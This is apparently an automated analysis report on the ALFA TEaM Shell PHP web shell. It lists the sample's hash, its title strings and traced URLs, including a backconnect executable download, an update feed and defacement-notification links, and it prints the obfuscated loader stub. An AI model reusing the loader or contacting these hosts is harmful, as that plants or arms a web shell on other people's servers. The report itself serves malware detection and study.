PHP Malware Analysis

alfa.php

md5: 29a1bcf0c507e6e1cfc870f4a44e6ea7

Jump to:

Screenshot


Attributes

Emails

Encoding

Environment

Execution

Files

Input

Title
  • ..:: localhost ~ ALFA TEaM Shell - v3.0.2 ::.. (HTML)
  • ~ ALFA TEaM Shell-v\'.__ALFA_VERSION__.\' ~
    \r\n
    \r\nTraces)

URLs
  • ftp.example.com (HTML, Traces)
  • http://$target (Traces)
  • http://api.whoapi.com/?apikey=093b6cb9e6ea724e101928647df3e009&r=whois&domain= (Traces)
  • http://localhost/uploads/alfa.php (Traces)
  • http://md5decrypt.net/Api/api.php?hash= (Traces)
  • http://md5decrypt.net/en/HashFinder/ (Traces)
  • http://php.net/manual/en/function (Traces)
  • http://shellizm.com/kaydet.php (HTML, Traces)
  • http://site.com/whmcs (Traces)
  • http://solevisible.com/ (Traces)
  • http://solevisible.com/bc/windows.exe (Traces)
  • http://solevisible.com/customcolors/ (Traces)
  • http://solevisible.com/icons/ (HTML, Traces)
  • http://solevisible.com/images/alfa-iran.png (HTML, Traces)
  • http://solevisible.com/images/alfabg.png (HTML, Traces)
  • http://solevisible.com/images/alfamini.png (HTML, Traces)
  • http://solevisible.com/images/btn.png (HTML, Traces)
  • http://solevisible.com/images/farvahar-iran.png (Traces)
  • http://solevisible.com/images/loader.png (HTML, Traces)
  • http://solevisible.com/update.json (Traces)
  • http://www (Traces)
  • http://www.w3.org/1999/xhtml (HTML, Traces)
  • http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd (Traces)
  • http://www.zone-h.com/notify/single (Traces)
  • http://zone-h.org/archive/notifier=ALFA%20TEaM%202012 (HTML, Traces)
  • https://fonts.googleapis.com/css?family=Francois+One (HTML, Traces)
  • https://gladiusphp.com/ (Deobfuscated, Original)
  • https://gladiusphp.com/iconssss.png (Traces)


Deobfuscated PHP code

<?php

/*
Obfuscation provided by GladiusPHP - Free Online PHP Obfuscator: https://gladiusphp.com/
*/
$b64x = 'MAEPFSwWXuruCgVkdkFvbbXQVpMqzXPKWtzCKVXgOnZqTVZWfEsGfpVAcHqadELawJCgdzMRlMGfHfbliSRNgMnIScJWGTWbCXHGVuWGfcLMhmxqendLzQSQSaMXThywEfBzYWfdyqpFbLvGyXQwNIleJYBbFYWjDxIBTmdrcswDCQizNyUZGgDpedPJbMsFIaFBMJsOANRCDZaPXVODbrrFufNURfYAFEArMRFlEwNGUnvRiiuJYjnsqAMGFjfJNfAYWeKaZWGtjbksJda';
$dcrpt = 'vtZvENvOTeQHVwtmDBOcZNNMRysdCutXlRsPdlcWqsDLNwxqwktvYFgpCYseRjBcBsREctatLcDyyZnTjfOHjuWkRNOIxpjXfaBiTaaEdDBBCnUkShSbBnmSaAZWpjTuJUCCUCFxeGYfTSrMZimZwYrVzrSNAkgiEikYKpvpUSuOjjZIRlhmKyIiOZvNJawNifktuFgpXAcgjBPalWNVuvDITXUCyqpfvzXPEdDBdeHmFVmQRZMLTOtMMMpJccOWbMkFpNFsRLEwHRMXqXIjLAVWmJFOMTjmevRtHVkzGOuMeFjUCRdNRYJDhOQtgZFKTVCBQMzVashEXryYHBLyZUAghqznPDxIyYInLgIkzpOVFmtmmEjlXjRezPRNsnwPldCwKKfIYUDEgvqSYYeVhVZgLqTCDpspSTjCDqjCJlFpGugFskZAGzfQOYsRNiFecOGeDpfLAjZfDgjVQjUVIZLVxDMjLrNmFtRHHwtGGsliXvDOdxikVugtWsbgiPTNHjuOFMTKeetBZVpcSXNNrtFMKgSSvkeBuzpZkiiOMBqLxdnpaaBrtGCCMvvGezgzxwXhdfVPHKBDnOrnnReGWGhhAbNFaUDxPZESeZgkJHmWUDKhUONQTvYTVLyVeAtTzWkcVsneYAatdjAxXNmrHKjCVgyZGQtelDgHUTktukLWUKSRxeHdpQGJWDhbSAfddMjxFuPyeZTYKLpgqWKdlPMisTjjuPMWBwtFPIDTHwrrhGXWCgZmVLvMEevxtGttblXRTAjAwBRcGnYHuXTphpALSUiKZacblzsezBFUBVWgiUNCrgqyvpIMIqwHrXIbwzgUAkOAFKHNdTOuZDrTRZezpZFeWNgtlmmkWBLBKsNnKaHjcyCtxHrkGVqDIwvuhHEdHOdsfqFqPLYRiAjeGAqmUFpcAJVHPzjxNmnSbSHQcFHLFqPkPEWiIkkhtfOieXeRJsiKJqAkuGVYVkJjnFtWQcDiIsQMOucXLKHTZHeTmzRiiAsxFjtvmVcUMtfaMHXXrEQrkuJytAfBAWXegPYSkAlWSrweXtbNxrDHklEDliDLfBpLPMczlnVEdrIAKiMgzqmiBrLMzpWdpknDwqchcXkFnsExArDyGqHgGRtEFpITZVWULYbNvlthcwFCMHAsWGYbxQGcEnvDIrySOYGIKyQMTvOfbnxYtUZPjeRORMrZC';
$str_rot13 = 'YnWfOTWpUQSPOepsIMUhGagDmzncJmFgBaMOUhdnXVDMzrDgdxOiXukjtyMBkrHkQtYKAbyyxAJvQlCThPbeIlOajABuqiEfBbqbDmYZMHTCsvwzJWdsiRssrTkfBnkbpZCRlAqXGjAXdvWNrZEYQVPGnzLOMvqbURsfRIdWRcuuWqgMOjkdfzJSYTgKNwkHMDmcKqZaRtumhayVjIyOhGgfYmpLhZStbewLTUkjMEwtdTnNbkBiQHNOtbYAaQTbuOlmIwVTAQlcjYPkirtYxFMQGjqgaIHTwtgdnBwmsHqBFeLNUDkshWhmGWtGFAzASedFfzSxghXLlhYGKiXrFEDkZwqdvnEMtHryFiuLqrWbXUHgCdxgHzQfufjOumZltriXzCipseqpywUzzQGFpVKibtwvFwfxlnvKPDyggmUdIOCGEHksDvAdNwXSrcpCqilekKKrWEueRwKvcvlePlhbHetXghzwqjZBtirPlLTcGcWIximLTumAzeWFlvBCdZCxiSlTcEwIGsQDZcNswzRUENZPHAQLYshGkSAMwVvBMKDlMrDHPUbSHaIOZyzxQf';
$rENAh = 41;
$HBbEX = "MRiTxMYfEUqlCcIAtmOSMWNBJNhdyYtjqBDMnBsrUgCwiKvBwithFFh";
$zWSReQz = "JmVEvUnDpesAwSyTNsMyRZfgrltPSmvaZPETKrwywOXrfwksNwpevTklfDaxpVynjBHtScRNQndvJnlWKBaEuKpYMPwAjT";
$TGP = "OSIGKS";
$iqmGz = "LmAMHXTCKTAGttccnIJZfsfhxJHQSYQDlqOsNhtWaTDtle";
$tJ = "BpytFgDYfWIwEMrMMkbVVgvdRwEiSzZtmxksDOqij";
$hrt = "RnwqGFgDYUUdJGcmLvJ";
$HcXBhJ = gqGXfYe('nkCQJgI1Qi91Q', $rENAh, 'G25M KjuU7_DleJ8V1E49kcbsfhZ,AB/YNFxHrO.P06tqdSpoa:I!XQzmvyRgWwinCT3L');
$hEhDAulAUr = "PsgyWnKmxUChZsQmuaJZivyFUOGNOzhcrnBMbKYyFZe";
$CzeGW = "jgdxdJzDAxMTWrqSJbJJuDeGcqCHOmSXSVUwFtYEpKXlAmDinlrIPVNrkpYybQVtlPOqhMtVVqgvD";
$CTVEC = "MXOzvWIfVfvBGKCaltZFgwSjQHPiiZRuxesRAzwwFQwKaYklQjrWe";
$qbPxK = $HcXBhJ("Y3JlYXRlX2Z1bmN0aW9u");
$HbrcTefVqb = "GTlBvMrHMOnKKvDAcrSeMFtGnultuIszBEaWPQDBFqKpjnnldfrPjJUycfQxmhV";
$PhgARO = "eVnbFDekrOe";
$YphwKcquKt = $HcXBhJ;
$BdnyhT = "qlyJQmEJiyAjuiNiTCsRZDSgYTTtlEDBqbJFNmnvK";
$CKKplJ = "FyJwPtCmvMUdhMvkKdfuyMaSYhMrWwdBtMWHEyTYJNCqAwaJzfdXrDppL";
$RqghLVC = "xeRRRfHlBdMIziPrREiFZzsNeGjEFvcbYTTqyZBydMfbv";
$qyepNfcKF = "BzfNTIiGqRFRKEbpUDKvSUpKDJSP";
$Gi = "ITQfJqwgQOkQDpjzuVglRCJLnQMnwQfdKVISkeza";
$CsS = "GWHyyYYceGKKncGJQcwWPcFuYUCpnWRtsYQPWpRAUajhcqqssMpGnTzMNBa";
$iFKEXcj = "HQ";
$rEnzCSx = "jgdQSQxVSQlyQxxpRDZzs";
$bO = "rAVQigeV";
$nD = "hlDUADSMDEGqPSamXvYvHpyRtDbKz";
$tzTVXlH = $YphwKcquKt("cGFjaw==");
$EeKIQr = "JrJGfyXazPPVaRUbcgLldqWA";
$PL = "QFrlucTGxiKsAWslBBvcEFhwwApszhtPMJaFLukhbvYBQrlrRHtULZqGZdXXkqlxYmbifMPggOgWetMvzE";
$kBeT = "sZrLJTOifVkSTBcEJyppEgbmEOjdJTwBSNlbfZjluTDNuFr";
$tFRPvmLDmf = "IcWfcbskGOCuSYmxPAPYOTBIOaLlWNWEPSiRtABZnctfAfbpFQMSiNBw";
$MsQjD = "JeNBv";
$SJLRVl = "mmTLqmISWfeMYrnbeDnLF";
$pkaQUbqZhy = "EQJGVNDCcdXAAPlwEvChqcgxVydnAvZElJjgVMIXPeXOtIjXClESNjOIHSvHmukyCudWfk";
$mvyg = "xhcXnETnDJWO";
$uWnLM = "rGHxfmSPtgbMNHpZkHTFKBvLysalAhrQNYNTKFhDLIpYOE";
$tgC = "CLYeuJKFelmaEtpNJDEaZzcGbAdXkuANezRyHaCLmnkqGzCqbfPAErfFqjbBcCNgaddHdeRqtbFYBHNbMCbQsgUIPWiRyv";
$fknRz = $YphwKcquKt;
$WL = "KIhpLtIwCswBdMQpgJvBrIGuRAFWtdSDLZRWRAsTrnuUZj";
$WsniB = "wCbAtHuknO";
$axnFeV = "C";
$PyJVsSHN = $HcXBhJ("cHJlZ19yZXBsYWNlX2NhbGxiYWNr");
$SVOuB = "clgaHWjZAVdOTVxFiwFsGJtGaFRkDUReFXflTOKTJNHDiDhrYmidvBjUFafhvWMZtRLLFvEOIKQQnxgLiOpDpX";
$QIrzG = "TqergajZcKiSb";
$zfclhkLjw = "tNxsNNgWypzKwZvIyCVZJpQtSnIgfQkXDgOQuUMRjKaeJvNGWIFewV";
$ghHNhD = $fknRz;
$b64x = 'gMAVEqjlPGUmDeAgyjeamlyfFBcUqXVWKVrNkZYzftMIxLnUURUgcsLHsNagkWcURSgBSeaXxletWRmqJGVkxGsOTsVDnxWEPcFgGFDDQgVlXIBfnVrkaIytZSVNqRQETvKZZMCPSxApeavSvLcwtAOstKehBVLUqUtPfUdXrElVEfNZQpUiOIBGseNtzXMPredwYgSOKEJpJVNAjHhyOhdGmrYkNjzENCzkJsYtvhgdCTcMZkjnRMTDCrOqZmTMPsWyiuQDaXgDqiOPSxcKivmLLaAKnSwCjRZSKpvLLBNbjBqbXRLFlyPWXpfkgalQRkIaZCkKDXLMXAmUryZCVOySDcDicOYtzfuyhEhKbtVYShtjFsLZfJSIkUrnhpGGUzDBdLkeDFCvlUdRlpqRXHYHBpUJdBOXzsyCChfelIzxCcNnrdeNKcuLspuvphRNzOPavuEGBDCDFqQVSUICwBMmPfgDNXQLkelFyPKZsmCWbsrTLyUGZHTnMZRYxgKHkvMhjwgChhXiYObilWPkcIzOgPmcvWjerVlZQtayAyGYlhgxDVhFcfSJueLOAUSqpdqFVPcVmhTypZvRvCwxHpfatrntkfIZIxEEmfzzmRxCQRtktphzcMzvclmnrVMYsqbdvZcgQzIgPBQHPXfrKdLMpyzFtKcjzEnTDPATnhZchPJwNnMWrXhFvgJmQkwqOiIRXhKKPJMWXUtjhefybNCwTKIJVEYilgZjnitcRfZPzsyHVEExrGSJqasKdQTpWsXJBrMsVkGTbeZWhdtXJLfYkxJNMbbhtzRTpcLJmrCNUbJBeCXNMckwZtiLuJtNhjfVLQdxHGjagsCktzXebHAaahkTRDGylMTWbWSICbJIuKsMiOrJwqJVyUOOWUlIfeEgbWPcXXkQHbcpQtYlIggFAUtxneetIhAidOLBLvrswtGlLdWTkCXKWQgjUKDCSCkvqVVaPmRkeWWQaSikvfUQVBZpkCrCDBXSVSsKEiUJfqYFiGPcLJSgJrUUTkwVkSOfkfpnOJWtYuXGZMIkUZQErKXJvtEFLRkVXzikhFDgyZMyLUIetXhJHeRbXwgIMrcJPKtxOvDmuOKEIRJbOQjUvbWsWczISBRHKJdzefkyUUCbkkCyAMsumNLipjqgjGnuqQSuWcrqwSrfCtDCeuVrhgYwPNcZuqSifKCBlsQgkHllZnNDHitOpQKdDMCwbuEGDFHnxxuHDesbRfdznwMbLVeOHgjhAnnDsUQOQKUTnmufRydEtpFeKiSQOBYOnLrGeGTUqOmdAHIQeLTxzXaifSZuTxhgHyMLDfeTtswSYdhCnaYMXzvCruVJqcQWZbHDgLVzCrQAuxbHxASTYmwOGryVTNrSOXvviqtKfJkzfLFcKyVhKrWQhTkaGCsTYNNgCgRIPBGuLLwwisDshYHprSpwTgPRTCYUIpbWphrZSMUAdXRlvzZMQOHiUwZmYxgGkIczPtzgeSGIPxtkvRwKFcSYzskWnRbzzdXNwVTanYhcUZMPqhzVKRTIIEEVveutiRFdlXDzVjCPINEYVDTeulMBpPwJTqBBgfFRCHrxRsMYeqWzspDkBOLPchYWxYxcEBtfIJcYAOWeDTDVhGfhTRxWyUSuSOwwPObWXdUWrQaTiEOQJuxCkTXImPbfdWasjBnGEhDuxDnfGBVpUsrELnlXDMCfhcWRDjxHQzaMcNRhplWIdmmOZXkbjmgQOcHQLExBcXnEjEMXQIGTusgSOQUXCaOqDvgnycpBzbeJFqGUxLmqCSirJCnKCBaEwGSTIgThhYQlNVgKgtZILHyuiMDkMDOhiGBrluySRNeFhKpnCNwmvTfDeJNRLCyuHyKtSHkiuONaXBOAOjMiCskgaYxkZUEfSnXjuisNwFnufbTTKeBlwMRVjnGIIjNAXLJrtaEnFRHksZDbEeMzQEUzRAgzJtyfdgxVHAjlQqwhPZItDTrtWkrnKxlTPKytqunWTWiJMdqBcxTerJxmUmZdJlwYVUQkn';
$dcrpt = 'FubmrFbBgTTHEceicOdDmgvppfxqPJQvdrguVHUBBmhepmMRAQulwOZKtwzifpciGibaQwCQIiuxvgnuwgFRvebNAAvePxMUfOUvJVkreENYjASFHWWbaXnaWJekFReKezEmuODXSQwBPngwjCWkYkkUtOfXejhIhLUbZXYRmuRbgXyrYTaWdKRwyWucFBKNLFOKblanfSplplCnfbjiLAeJVXLByvNIzatZLtmQKbcZmdMsfVaqVeYQbiQYdcGCCyCnrnDapFZCiLtNgScBWbrxJHUMJaplXqYnDBpsGNtnzLaeEcFZDvWmbqYkqMVnBTBETpVYcnLByLeBniBQDWCelBpCMjpnCpRvEMTGzEGWPKXcSysUTUYeUMfGVutWJjRMvKstNXPCgMdyJwsCqQfJblpxehtmrjYltqEgmShSElqmgInwXueYeSviZOwQxubQKewwXcpaNENTLAOhTSgXkaGjnbzLvZaEeVABXnakrNdcnSJGjPdTqJDDKbNEbNiFIIFfVFqlSSNfjxkTLnMawpdfrQKREsVLzAqueeeWXSBGOlzzzLZvzcApSJfVAaHYAwReBWAynBDBMCzKmyeLZeAsmFmmftkePCiqXimKiPkUQidcgInflNxXRKjWCUbrVJGSrSCzhlSXuWAAdmfOzCLqLvMnpmEjVKBMbckINdfGzFGbrLPPMAEyuqkIbnrxXRizttgFVllTqRUGCJUnJzkcnvkqJaMfsUEKMLPIwaBMRVRSEMFMkQPXKzmSzyyQsbaelPlIPlTfgKxkwbWfrkdBiPSInqXesXiclTjafcFLmbVhDsntCQTLFMSSbPXSmFvyYEYDgDnteJAgamzbctMhEdzetwxFBRCYvABaDntgWtmwFLyhDJpGNNLfJhjJyLHSlHtnULurDGMiQJqTtdzFQJKzqthNdnfOUybpiUFlZQuQAiislgWBQGafyHTBVyqPVQDDLHOKyhZxPhOApjbEpbJMhbmczbsusUxcCklzSlvHSIHGRIjfitRquDtteKlwdIXFTiDkTXRMeXsVFbAmuQDmTvFXErtHyPMQXOaRMscqpTlUUkGnbiaUcFRGvJNTyYJUMKkXbMnqGzJZiqNjXNdaRufmCsfzqnucxdZyQmnVkwUuLHciTGILZNXbfCAvPtWmxwjMIWgttalDhNLatSkSGhTkiSeYlBKhWttEqzwIYgkfUwGMnQEtyxcGqhdaINhEGAHVyDcwiMbchgPVwSNTqQZexcEEqLHVKNqhPsDYdEALjOGGHSzwIyAEaDHqnnKxBZdqrGnTKnETbJzICydJvcnvFUjsITnisrXhxLbgYezZOyhqvkYPNLKRftjmMxvdORLkCMQZqOzdLGSfqrvcbEUGWDSIzMlmEWWFhlFxADakiSQyiKaKnuqJwI';
$str_rot13 = 'ajqugUkgvRRqugnKsSnZUwmNbKdDePgEyVxEpHkJYbYRHLCZcpYXjLjlUmnybTbznzDbFNjcnhuVsVUuJSrTcBEWNrupjwmWupXybgaqNukeOEyxVpqYptUBJppsjbncqkZsQZgDtQgguedpStmGMHgUvVmEWAGlkFcaeidxyJdrNgGeYsKjYretlrwhQBSAGVBKDdGBMJRZpWdnpnxMEaFprAwHbNgHIgQLjwlwFCvTzXGNKDYnDcCuDxaEkgKsnZCWvmszPlSnjyAtaXHdaIxDfWGPcPGPOiMIUDHJPzwyWvQxtxZSFVUjRZYTOdibLuiGWPOLnkiKFzGxvFpZAiirhGJvKrVvKEaHtPRgzaqDYVatZOtzxBpdhxYROTLXxMEqawVzVkbTFBlEqdcMF';
$b64x = 'QBMYEMFKzOFcOpKjkgNXuvhXISbSgdlWdXuHizRhmwjaLtjvzwstRAqYRRqXUCuxzNeILvpxQyyargUpDmHTMxRcnGaHhTdgfHnRbCnszkRPRMeTYkMjHcLUIkaqdewjLJANKmEiXvYOgCHEMSmuuYNBiOqmSLVcTUpDGSMDNjQTkWXWnjPHhDIQQXChiWjbQzeVQQzDzOWJLTeYCUfKWNZMKBTSxCuMayHrNfTLUPuehycKRHTNuSzEtRVpuOaTlHjymDiGsbjZZlJQtbElTCPLukzNYzGKFQHrtqWjrfiPRrGjsJvKkKUEutQsRxBWMimEXJNnOwDeliNdrINBRIFkavbsRDnckZGHITuWpWAZEncUvQwlXAVXUWOlYbnIBupimJeaFeZjscDlSyxPXslsNacMBPTbiikvrOvvSvdJWHUneQCCHNTUmVfOKYPTGzNWNiRecUnYBHLfymHEZAyMUDAEbOWHNKdAsUdTnrrpYbuVnazMZxytzXWAltHYCKXTdaMrscFqdykQXJCWFapexLdIDKGeTDXWEiNVKRKmqUcmcEJIdxlBHpijZPnsRKOUSBPCRznGSqtVubcxXnXFCgOavCtLlgGegUfxTTdLiwfbWhztvVXXblxVmPHyvMbaGHyzAaKIwPKRXIjsDHOeslzEAfbVrDVXjSVJSFQNvAEsHniKuxOLImOHSpCiRXFapBJhfAUZzYQGLZqEwDODPCjgQlPhIuhWurDAqXYnVPTfnIJikxLAyuGNevUMpCiIsLHgIGucUNhhvqqflAFJTkxyfQjTRRaiDIpkNiNgVUnPKcUVCzFUjBsOrbHISHQvOFfaNSghluWVwrrxpvsyViLLjRtCzJWMnBNaSthEmDYhTpFiJwfEERPnIhPGqktDlFDdxjHJNGRfuwndrugukVgsDVYSGQwRUyurhbaUgrZAlNDCgjvQeChgxFzCUUtORNFYnFsTvRtGEwHjFbziDfqALObFhUTyHyWuCnmWEeCHAIQEJONmUCMePmJwgbTmzPGADswGxxnweDAnsMALNLPCxXXEZqQyFWyHNTMJQZfUceHTQgEcrtEOqaROPHMTcjAQcmzSLdmmHtfWAiYqBbDrbuerbQjDZjSCVsTGUFtCYyyXHxmHyQXZjCPKsYNRHFtCwLIrraspXPldLXLJmhhWiWGauSRbyJDTuKJKKayhqikaGviSDqOLlUkGMbHjjJDETlNDmLjbTvbzPKRRZFcLzmrlOxUXFxayJOBvzKwREWQTGHKfLlQkYGVMCpJgMjevXepVOKlSGbLMhURTggDEMXqnlyTXHxRdBfyPpKHvkRgtLxLrDNUpKJbvhuSnRisspPGcYmxjDcbpzleBYzphhqCOjTCactRQhySGjPPNRqBQBerYDGfkvgYdaZdcsvSZsjFBYTNqInfiSVgvaLFVrdYrccSUWjTnTyORQbGyOLfGgLbgwfbMIaDkCUeyEXLxUYNjZuHOEMuKxUrsasDhRfstAwQdSaZlzMvXFBLjmFtiYJAYbDGShXLHTajkBixZvrWZShiEMCNKkMiLOOdWkODdnmOOvkNPaKPSRxWcyiliUTTJHwesJHUXTILOsYcthrkyOgAlpkuJeNRkiVCsbxpvezixxkpdCYBPfAATLubpgszOMbfnyTIbtqXpZlSaktPPtqhdJJspaqCmrIAnaH';
$dcrpt = 'ZMHmGRStzZIzMdCvCaeTnOAvNqRVWcIWnOIUFBMeZTcLWEFydJQQyQkKfbFcEMyrAfkFfWiEpkOkntiQcYGZOqJURNwvzTLyywCdRKHgUwQHOYWQXCpksXeijZDhsNfQIHtAsZfLvVtjuOzrrnBIkfqUesbWeglNOEMfDRqylhgFWFvmswuDBJWeaXaEELQRpCwSSLqETwiPAEBSZuUZcQdCmEFqpVgdxCVPnKtgFavEEVwcpPbQeFRRIVgwQnzNpTCCcuhHublywgZKwbZAfqrmlXhBKHnYZpacIHiCJTZeaYpVzNvddlPOIXpsdDPCRPdZxmBFfZiFxxAwkvYnfOBNLPEnstPjiTIefiiKHrPDOOYyIXkmkLZVADISWxBEqIhUqqeWGtzTGXQOUaaekazLcgcyccBSKIMZxqvdhTwOqmCJMCmXbLhErjbulDlvKxThmnKuGFHWRIFdKSakchOuQQmBSXVCTOifBSZgyfCOnhrXzrhaXwTmLfNDChEwvNaVezCbedqsKGOixvjuQCHBITDJbhewuFRyDtAHwPYgUMOrhxLXZRYgjBPkhugByXZaqYIkmfrgsFyzBIVAYTfhUVSbOYDlvblKztukYkQqPNOqUiqSCvAwPsWDPzOjZAtXsMhqWYFkLSBGbqXcKxXAnTccSrLRqdPHqwxLubWFuWKULHWvETuRMWuEmEVChjIxFeHzGDDZYmTJtpEwhXNtTgxFKRGRaONeSvcyxFWwrpEjDhFjFscyXzDhqiyPWLtpfwlbAIWRWBAZheIMWKKtimAXUylriFeNaqnZXkqukPSsuAEqknhSAhQTFbjmfNzFdMFAwUtGjkyDLbsVpzNnGcGkEQWJcUOfHtfCMyIVJfXTGpOuOaHuDMegbapeVcjbUOcgmKBvpznUNBNBBTvdGzJHYYLtAvTUiWAUfapvYbOMCCMDvGfAEPhDmSvlmpfVKFPpfeidFXphYBKSgptkdZNqRHCEVgzelnurRCTxYIEwiNpObgYFfkuwSVZmCyRNlKDcLwzKDCFLOtZQzxUdInAZjzlkxCxIlZjXUJgyKLIzeHOcEIglVfKEdvOZXkHIJrFEzkBiwigZqUbTbHEXMnaqhppeYwNIMRLkClSXTZWitxbveFRqsrFAFuddPqkahvkJGCfzabhuyinbnEseUwEZPhcdxmddHnMMqrKqsrJqZwrmZhQuEUtSbUWygZCmNNyceHRVYakXwbJViYplSHetBARgzSSLePmIwedTeNqZOyUXxiippMIPlYvkqmVTBICxMeqqRfpGDJcZrKOGxVUhTqsIbNBDvCZGGOVyTJDxRFVipJnkEhtWWjEYwFaqgzVmmqjGzMCqQxXegkPjtHgpQjMMOlbvKxHxlqcKBEAraxUGhJQZqwNGFAsuLSOVpUsaJuKjxJZWGTDNcSMRnYWSyNlJGzdu';
$str_rot13 = 'DfQuBQUZGwkYCCylpYvzbzLeDlaKrhkUmbNmrHmWdWUFysqlQKkRIVvlGvvxbGQpgDaxjMuMInQFffrVpBlXVGiBAcXCINqOPqlzcekjsBpWfFRvfcRahZaIByJjKyxANhYplIYEImZORRIwtzwaXVhytQgdnEDAkapxImArYzEpPlKIjFIgAPdteKwRNyrXyeuFQtvOSYcHJlOSQwyQKbiOLEeyBVvYZpcQHyEYVgfFsTWIqUyzVfnGiRDJMXgMLibtferbkwGcPbKeVHDQMqVuHyctVIEGqFywKpxUKCwzDfczlfOxUjQBHsubZXIqDfLMTHfEiCCkgeitJXpDgfEmxXpWuwlwaWhUcnXkPzUVcdNLAcOfHRsDnfzHBKdCfkVhySRMQMhTpUdOwrTChKfvqEcQOFRtPMB';
$b64x = 'CBTFydqZkeZcphNOiBLNxJGwgZfpLLRmMKsjOgJYkhAYpNMXnWKjGPelOkZZVQLHBcrOiZlSGkQVXbsKyBuDqyOeInDdDnjDQZrYybreMGzihQTFrMHGjUjshMULadNQDEnaFderKDArtSviEbpmVydDKXNKBAZddMdiqIYZkXPdPjLSkZFFXIHHfuQfupiWaLeqSdODaDfqlQHVqLBmuHTYBJdUXLqXVvNOXarxdVlpLtkadkmWRfUsnxLkhbIDVUQsUGnXBAmlSWMvgysxdlPriZCPajsvdHMxmavNZgzrcKLIhcekOtCWtdLSMDNpjYkWYFJxkHNMrYTYaYinQjjImvayxNlfLxbjBkGlRTXIRRGrpnFEynmjhmhEZtjjpktQvzbMRyuIOzycMcHJQtTXFabdtkMhUfXqdybUVUbKSzldCsNRKGOOfpryYdeTIbiLYJeucfDuEOxFGjwPpKduyusxWwqdXXnVfspHWRaBfxFkgBzvKCPhwGdRbSVYpiuuaIAWZAxExCnDcMXMOltjRxATOvrddKWdSxZrWWUtyHvZttkGdDpVzPnnJEQMOMPGiPWFLqxIWSHOKrvNtJhsyUFhYUTMGiRpxNTHCPpyHvlrLfEDPkUmfYTdSmpzvfNRsfyTUlrbGbRQhUSWfNIkLbNEnbChgOYyTVQmggnlHFBOztjEfsnrtAUfBwmgjKdCFTOkzCVgGVueNEitVwJnWcSWyeDgOGISZVCXWWdCRygdBpwwjeiFGaCdeEJsJQjIlkGhgijXfqAGdWbmAJSgiTJmxtdFIMnTWtBcaKzgzZMCvOnUWfafyKRuCVZjgMddEEFENEKlDxmXKArGfskcBcxCxVLDHnfKrLndpYOrUaNEadJfUUhvwdWsyhUevAOMkCpYAdpuDBxDEFhzzPtusqLQWfureICOjRMiUACWayZdcGCbvVvmKGcGkVwpDYClPnuimveMSDPvjRwdMqqVvRaFmwtPTUBhHUqtqUeHxubGkxjwmzrHQrMclErfYRMFMcyBwChSVJYFFhaRfrYvgKWSNnxLEiQPknqGpXYKfwpKcqbHGZcmJYewLBHqJxEujuzyQxhVsxeulfbredDmBgiMHPBQLejUyIsNFZIWVNQgSRxxuAJUfRGNfGcQLLKISCwWBdTVqJbIZXetWmMcESpJyQZiBiRtKMqKPIeFQFmPcQHYctAfknpJdnRdVhWfTLPituNIYzxaODzqVYwgMKPPxfTsNPxGAMnsfAzDyvElXcCSAxYlGmBctuTFIrkHCYygyWJWrmHnOiFOeEZKqAMItGmAwXgxvdDSzlnPYVClDhZIkzsAYEIRJureQXakaDDAnQOLkrxnXwvhUlgtPOjXIAByxBJXdLxRaKClaYYxUtdnEkGTypQfpsdLSlhwWdMWOnHOMFLGXOtbyZuWNJBbaEmtPunkyZhlMOzyuJDQyWrVvKrhuSjTVVLkpyvlWCxJrwGjeJzbFQXzZNfSFOlaJwkyUFJQhGYXbFGFneHsudquQvLVjWVstfPMKzbreaNFetjRXqIrtXjJRVEArzSidHumFwdJVQNZJXqfMXVfUfOkARLqqDzSJSepNhXIykgGhwLttGyMkLXjCIArKyitPNHDUeKspRXVMhnFOlryWNIYUHOEExXSjdvdhFVVVsQHZElNPcKkPRIKXxNBTKucnnFUSZQNRfUQJfcXhMIxdqgalTCEdvfQILKajAmafgQOMSlTetPhIVhupiXRDdHlnrLxrXywENJqGuIjMyrUSynGHKxJNDUaueXjcveGhNVmHcwtAlMtKZyQKvYWXtxQxuZzndEUrYhxbcPBpCtyaRNjLLgIdDYBwxzJBdDrbjNcmbdBcwYdMLmxVSFZUDAqZYYZBbPDkbFxdhxfdUIPevMamQZhSYWrwVQXWFAGHEDjMZOPUWdyrpyceWJWUGNraDnWHmbNQEWbdkQxgUUWityNphiJNVZNXMiFyjsnnOqryFNEYHZhzxunECWQyvcUgkzdURrHefXCkjFiQEPPAicEkYTItWCYGBbARRGVxDxHMBpcEeRdMTgWradiWfgCGHCxXhRukNAwnPyRtOUegBBxBEFWikXORzKPgBIQnilaxjRpxlSEMta';
$dcrpt = 'rBwnfrcZZWBZRjDZxBGUeLeAJQfZzuPqUKczAEzYBzXRIAQEbVzFGcFOsKnrDCfWlhwkLujLSGCaGSEgNCLTEqHwA';
$str_rot13 = 'wmGMMNAnrxlXSnULwHJrZMGKutqTvaqqmVCYhbMzXXwPKPZfwhxUtCFNUUGPuveGQGFXHQVENQSWGsbbzXWSZaFTUKIOfmuVSysAnnDAdVwimXkLuGDtGHmZRuNWGHrYehySUAsyvOGgkqsEVUXabJAsCMNitdgXKdPFcGcXTIddYUItPeTqNSHpEuWxWCTGeIKhNlEHUgKsbsjqVceIukXyEtUZVmezupGgAJNuQykrpvGkWjSrupOxhhwcuZBNnHTOPgHeESvsMACIiUyCILYPSTrLtsXGyrTmxasaSlsdlukuNJWvTuKMNaWfRUkpkeCHetgwdXYpQiiDrEykXhwjHRpzLZNvDOBgGgbKeZyuhGXYjvIHCdQiUFHfEUAgIBmpHNykMVFtbCrkwYrxBHFwlMapfZUmAGBHtyReuwxUxneslVOmCTINehBjgvwgaxNtUdWNZtHwflnsgbEIULUYsvhXpddpAqgTucHtUNnaYBReDUlWeFVwzCtNFWBElgyFiexDRLDqLTTnNfKrjFMJGEVLAWplcMQlqNOHyQWiJPWVuGlEKXMqagaacPlfBBQRndXkT';
